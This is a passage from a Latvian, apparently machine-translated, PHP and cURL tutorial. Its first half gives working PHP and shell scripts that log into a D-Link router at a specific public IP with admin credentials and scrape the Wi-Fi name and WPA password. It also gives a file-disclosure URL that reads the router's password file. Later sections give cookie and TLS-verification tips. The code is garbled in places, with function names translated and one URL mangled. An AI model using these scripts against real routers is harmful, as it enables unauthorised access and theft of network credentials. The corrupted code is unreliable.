0) ( echo "curl error: " . curl_error($ch); ) else ( ) curl_close($ch); ?>

Jauna rindiņa skriptā

curl_setopt($ch, CURLOPT_POSTFIELDS, "LOGIN_USER=admin&LOGIN_PASSWD=qwerasdfzxcv");

Šeit curl_setopt- mums jau pazīstama funkcija cURL opciju iestatīšanai, CURLOPT_POSTFIELDS ir mūsu iestatītās opcijas nosaukums. CURLOPT_POSTFIELDS satur visus datus, kas tiek nosūtīti ar POST metodi. Nu pati līnija LOGIN_USER=admin&LOGIN_PASSWD=qwerasdfzxcv- tie ir dati, ko mēs pārsūtām.

Ja rūpīgi izpētīsiet veidlapu, jūs varat redzēt, ka tajā ir arī slēpti lauki. Un datus var apstrādāt vai papildināt ar JavaScript "s. Jūs varat to visu izpētīt, bet es dodu priekšroku vienkāršākam veidam.

Es izmantoju Wireshark. Šī programma ir paredzēta satiksmes sniffing (pārtveršanai). Un tieši tajā ir ļoti ērti redzēt, kas tieši tiek pārsūtīts uz vietni.

Noskatieties šo mazo video:

Tie. ar adresi, kur tiek pārsūtīti dati, es uzminēju. Bet pārraidītā virkne izrādījās daudz sarežģītāka.

Es ievadīju pareizo parametru, kā arī nedaudz mainīju skriptu, lai tas ne tikai pieteiktos, bet arī kaut ko saņemtu no maršrutētāja:

0) ( echo "Curl error: " . curl_error($ch); ) else ( $target_url2 = "http://188.35.8.64:8080/bsc_wlan.php"; $ch2 = curl_init($target_url2); curl_setopt($ ch2, CURLOPT_RETURNTRANSFER, 1); $response_data2 = curl_exec($ch2); preg_match("|f.ssid.value = "(.*)";|", $response_data2, $results2); $results2 = str_replace("f .ssid.value = "", "", $results2); $results2 = str_replace("";", "", $results2); echo "Wi-Fi tīkla nosaukums: $rezultāti2
"; preg_match("|f_wpa.wpapsk1.value(.*)";|", $response_data2, $results3); $rezultāti3 = str_replace("f_wpa.wpapsk1.value", "", $rezultāti3); $rezultāti3 = str_aizvietot("="", "", $rezultāti3); $rezultāti3 = str_aizvietot("";", "", $rezultāti3); echo "Wi-Fi tīkla parole: $rezultāti3"; ) curl_close($ch); ?>

Starp citu, ja īpašnieks atjaunina paroli (bet neatjaunina programmaparatūru), tad jauno paroli vienmēr var apskatīt vietnē http://188.35.8.64:8080/model/__show_info.php?REQUIRE_FILE=/var/etc /httpasswd

(Šī ir labi zināma ievainojamība maršrutētājos D-Link DIR-300, D-Link DIR-320 un D-Link DAP-1353).

cURL HTTP autentifikācija komandrindā

Mēs jau zinām pilnu adresi, kā arī pārsūtāmo virkni. Tāpēc viss ir vienkārši:

Curl --data "ACTION_POST=LOGIN&FILECODE=&VERIFICATION_CODE=&LOGIN_USER=admin&LOGIN_PASSWD=qwerasdfzxcv&login=Log+In+&VER_CODE=" http://188.35.8.64:8080/login.ph

Es domāju, ka viss ir skaidrs, jo mēs jau esam apsvēruši šos terminus. Ja kādam ir neskaidrības - jautājiet komentāros.

Piemērs, kā izmantot cURL, lai iegūtu un parsētu datus, būtu šāda komandu kopa:

Curl -s --data "ACTION_POST=LOGIN&FILECODE=&VERIFICATION_CODE=&LOGIN_USER=admin&LOGIN_PASSWD=qwerasdfzxcv&login=Log+In+&VER_CODE=" http://188.35.8.64:8080/dev/n&null. " && echo "Wi-Fi tīkla nosaukums" && curl -s http://188.35.8.64:8080/bsc_wlan.php | grep -E "f.ssid.value = "(.)*";" | sed "s/f.ssid.value = "//" | sed "s/";//" && echo "Wi-Fi tīkla parole" && curl -s http://188.35.8.64:8080/bsc_wlan.php | grep -E "f_wpa.wpapsk1.(.)*";" | sed "s/f_wpa.wpapsk1.value//" | sed "s/";//" | sed "s/="//"

Sarežģīti autorizācijas gadījumi: AJAX, JQuery, JavaScript utt.

Pareizāk būtu virsraksta datus rakstīt šādi: "Sarežģīti" autorizācijas gadījumi. Tie. likt vārdu "komplekss" pēdiņās. Tie šķiet sarežģīti tikai no pirmā acu uzmetiena, kad nav skaidrs: kur notiek sūtīšana, kādi ir lauku nosaukumi, kas tieši tiek nosūtīts utt.

Bet patiesībā tie visi ir saistīti ar POST vai GET metodēm. Lai saprastu, kas tieši tiek nosūtīts, lapu ar veidlapu varat saglabāt savā diskā un uz pogas Iesniegt piekārt funkciju, kas parāda nosūtīšanai ģenerētos datus. Vai vēl vienkāršāk - kā es, Wireshark "ohm.

Ja dati ir pareizi un autentifikācija nenotiek, jums ir jārīkojas šādos virzienos:

  • iestatiet pareizo novirzītāja virkni
  • iestatiet "pareizo" lietotāja aģenta virkni.

To visu var izdarīt ar pamata cURL metodēm, bet es pie tā nekavēšos. Nodarbība izrādījās jau liela, bet vēlējos parādīt arī pāris trikus ar cURL.

Padomi un ieteikumi cURL

cURL un iegūt sīkfailus, izņemot CURLOPT_COOKIEJAR

Domāju, ka jau ir kļuvis skaidrs, ka cURL pareizi rīkojas ar sīkdatnēm - saglabā, izmanto, kad serveris pieprasa utt. Bet dažreiz sīkdatnes ir jāsaglabā. Šim nolūkam ir opcija CURLOPT_COOKIEJAR, taču to ne vienmēr ir iespējams izmantot. Par to ir mūsu pirmais triks.

Dažkārt servera PHP iestatījumu īpatnību dēļ mums nav pieejamas tādas iespējas kā CURLOPT_COOKIEJAR (ļauj saglabāt saņemtos sīkfailus failā) un CURLOPT_COOKIEFILE (ļauj izmantot sīkfailus no faila). Jo viņi saka, ka izmantojot šīs opcijas, mēs varēsim izvilkt jebkuru failu no viņu servera. Šeit ir šīs problēmas risinājums:

1) Neizmantojiet CURLOPT_FOLLOWLOCATION

2) Izmantojiet curl_setopt($ch, CURLOPT_HEADER, 1)

3) Mēs apkopojam sīkfailus no galvenes šādi:

preg_match_all("|Set-Cookie: (.*);|U", $saturs, $rezultāti); $cookies = implode(";", $rezultāti);

4) Iestatiet tos, izmantojot curl_setopt($ch, CURLOPT_COOKIE, $cookies);

Otrais padoms. No uzbrucējiem mēs varam pārvērsties par upuriem. Lai nekļūtu par upuri uzbrukuma vīrietim vidū, mēs to darām.

Lūdzu, pārtrauciet iestatīt CURLOPT_SSL_VERIFYPEER iestatījumu uz false vai 0. Ja jūsu PHP instalācijai nav atjaunināta CA saknes sertifikātu kopa, lejupielādējiet to no curl vietnes un saglabājiet to savā serverī:

Pēc tam iestatiet ceļu failā php.ini, piemēram, operētājsistēmā Windows:

curl.cainfo=c:phpcacert.pem

Atspējojot CURLOPT_SSL_VERIFYPEER, tiek nodrošināts uzbrukums vidū (MITM), ko mēs nevēlamies.

Nu, pēdējais padoms šodienai. Vai zinājāt, ka ir iespējams liels skaits asinhrono čokurošanās pieprasījumu?

Šim nolūkam jūs varat izmantot curl_multi_init. Sīkāka informācija un koda paraugs oficiālajā dokumentācijā http://php.net/manual/ru/function.curl-multi-init.php

Par cURL komandrindā

vīrietis-čokurošanās

Arī otrā nodarbības daļa ir sagatavota lasīšanai krievu valodā cURL: " ".